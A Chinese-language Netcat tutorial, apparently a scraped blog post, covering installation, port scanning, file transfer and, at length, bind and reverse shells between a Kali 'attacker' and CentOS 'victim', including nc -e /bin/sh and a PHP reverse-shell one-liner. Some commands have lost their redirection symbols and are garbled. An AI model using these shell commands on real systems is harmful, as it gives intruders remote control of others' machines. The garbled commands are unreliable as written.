霸州住房和城乡建设厅网站,做写手一般上什么网站,济南网络营销外包公司,郑州企业网站排名Netcat安装与使用1.Netcat简介1.1.Netcat安装1.1.1.安装整体流程1.1.1.1.安装依赖1.1.1.2.安装Netcat1.1.1.3.配置环境变量1.1.1.4.测试1.2.Netcat基本功能1.3.Netcat常用参数2.Netcat用法2.1.前期准备2.2.banner相关信息抓取2.3.端口扫描2.3.1.扫描指定端口2.3.2.扫描指定端口…
Netcat安装与使用1.Netcat简介1.1.Netcat安装1.1.1.安装整体流程1.1.1.1.安装依赖1.1.1.2.安装Netcat1.1.1.3.配置环境变量1.1.1.4.测试1.2.Netcat基本功能1.3.Netcat常用参数2.Netcat用法2.1.前期准备2.2.banner相关信息抓取2.3.端口扫描2.3.1.扫描指定端口2.3.2.扫描指定端口段2.4.监听端口2.5.文件传输2.5.1.监听2.5.2.发送2.6.简易聊天2.7.获取shell2.7.1.正向获取shell2.7.1.1.攻击者2.7.1.2.攻击者2.7.2.反向获取shell2.7.2.1.攻击者2.7.2.2.受害者2.8.其它获取shell2.8.1.PHP反弹shell2.8.1.1.生成反弹命令2.8.1.2.攻击者2.8.1.3.受害者1.Netcat简介 Netcat 是一款简单的Unix工具使用UDP和TCP协议被称为网络工具中的瑞士军*刀。它是一个可靠的容易被其他程序所启用的后台操作工具同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。
1.1.Netcat安装 在Linux中都是自带Netcat的如果没有可以使用命令进行安装安装完可以查看一下版本。 在centos7.X中使用yum install nc按照的不是Netcat需要注意。 Windows中可以自行搜索安装官网链接官网
1.1.1.安装整体流程
1.1.1.1.安装依赖
命令sudo yum install glibc*1.1.1.2.安装Netcat
命令
wget https://sourceforge.NET/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
cd /usr/local/netcat-0.7.1
./configure
make make install1.1.1.3.配置环境变量
命令vi /etc/profile
export NETCAT_HOME/usr/local/netcat-0.7.1
export PATH$PATH:$NETCAT_HOME/bin1.1.1.4.测试 这里可以使用nc -v当然也可以使用netcat其实是因为我懒懒得卸载重新配置。
1.2.Netcat基本功能 telnet/获取系统bannet信息、传输文本信息、传输文件和目录、加密传输文件、端口扫描、远程控制、正方向shell等。
1.3.Netcat常用参数 Netcat它有许多参数可供使用以下是一些常用的Netcat参数可以根据自己的需要选择使用同时Netcat还有其他更多的参数你可以通过查看其官方文档来了解。
参数介绍-h查看帮助信息。-l监听模式等待其他计算机连接。-p指定监听的端口号。-u使用UDP协议。-v输出详细信息如建立连接时显示IP地址和端口号。-n不使用DNS查找使用IP地址进行连接。-z将输入/输出功能关闭进行端口扫描。-s指定本地的IP地址。-e在连接建立后将标准输入和输出重定向到一个指定的程序或脚本中。-w设置超时时间等待连接或数据的时间。-c发送指定字节数的数据后关闭连接。-i设置发送数据的时间间隔。-q设置程序退出前的最大延迟时间。-k启用TCP保持活动状态。-r设置随机本地端口号。-t以telnet形式应答。
2.Netcat用法 nc常常跟着的参数有两个一个是n、一个是v。 v参数就是列出执行过程的详细信息n参数就只接收IP地址没有dns之所以使用n参数是因为使用命令的过程中只去传入IP减少了nc把域名解析为IP的过程这样可以节省时间提高效率。
2.1.前期准备 两台主机都需要安装nc以便后面的操作nc很小安装很快。 kali主机192.168.10.20 centos7主机192.168.10.30
2.2.banner相关信息抓取
kali命令nc -nv 192.168.10.30 222.3.端口扫描 如果想要单纯的端口扫描的话使用其它工具比如nmap会更好而使用nc的主要用途就是在内网获取到权限后再使用nc对内网进行扫描。nmap无法扫描内网。使用nc更多的是对内网扫描若初期就需要端口扫描的话不建议使用nc。
2.3.1.扫描指定端口
kali命令nc -v 192.168.10.302.3.2.扫描指定端口段
kali命令nc -vz 192.168.10.30 20-1002.4.监听端口 监听本地端口当访问该端口时会输出该信息到命令行这里我使用一个云服务器来监听。
云服务器命令nc -lp 80802.5.文件传输 首先在kali上开启监听然后在centos7中发送文件当发送文件后kali上监听到后就可以将文件保存下来。 这里不单单可以发送文件像压缩包、目录等均可以传输不过这里需要理解两个重定向符号 和是将文件进行输出是将文件进行输入。
2.5.1.监听 这里设置kali监听简单来说就是接收文件并将文件保存到1.txt中。
kali命令nc -lp 333 1.txt2.5.2.发送 这里设置centos7为发送将当前目录下的2.txt发送至kail。
centos7命令nc -vn 192.168.10.20 333 2.txt2.6.简易聊天 nc 可以在两台机器之间相互传递信息首先需要有一台机器进行监听一个端口另一台以连接的方式去连接其指定的端口这样两台机器之间建立了通信后相互之间可以传输信息。 为了区分kali上输入的是数字而centos7上输入的字母。
kali命令nc -lp 333
centos命令nc -vn 192.168.10.20 3332.7.获取shell 这里默认kail系统为攻击者、centos7系统为受害者。
2.7.1.正向获取shell 正向获取shell就是将centos7连接kalicentos7获取kali的shell权限。简单来说就是受害者获取攻击者的shell。 这里不使用Windows测试只是将Windows系统的命令使用介绍一下。
2.7.1.1.攻击者
kali命令nc -lvp 4444 -e /bin/sh
Windows命令nc -lvp 4444 -e c:\windows\system32\cmd.exe2.7.1.2.攻击者
centos7命令netcat 192.168.10.20 44442.7.2.反向获取shell 客户端连接服务器服务器获取客户端的shell。通常用在开启防护措施的目标机如防火墙过滤、端口转发的等。通常反向shell是最常用的。
2.7.2.1.攻击者
kali命令nc -lvp 4444 2.7.2.2.受害者
centos7命令netcat 192.168.10.20 4444 -e /bin/sh
Windows命令nc 192.168.1.1 999 -e c:\windows\system32\cmd.exe2.8.其它获取shell 这里其它获取shell就是通过不同的方式进行shell的反弹。这里可以使用反弹shell命令一键生成官网进行测试。 官网反弹shell命令一键生成
2.8.1.PHP反弹shell
2.8.1.1.生成反弹命令 这里使用官网中配置选择php即可生成反弹shell。
命令php -r $sockfsockopen(192.168.10.20,7777);sh -i 3 3 23;2.8.1.2.攻击者 这里的攻击者就是kali按照官网上开启监听。
kali命令nc -lvnp 77772.8.1.3.受害者 这里的受害者就是centos7按照官网上的生成的命令进行配置我这里centos7上没有php所以没成功正常情况下是能够成功的这里我主要就是演示一下。
centos7命令php -r $sockfsockopen(192.168.10.20,7777);sh -i 3 3 23;
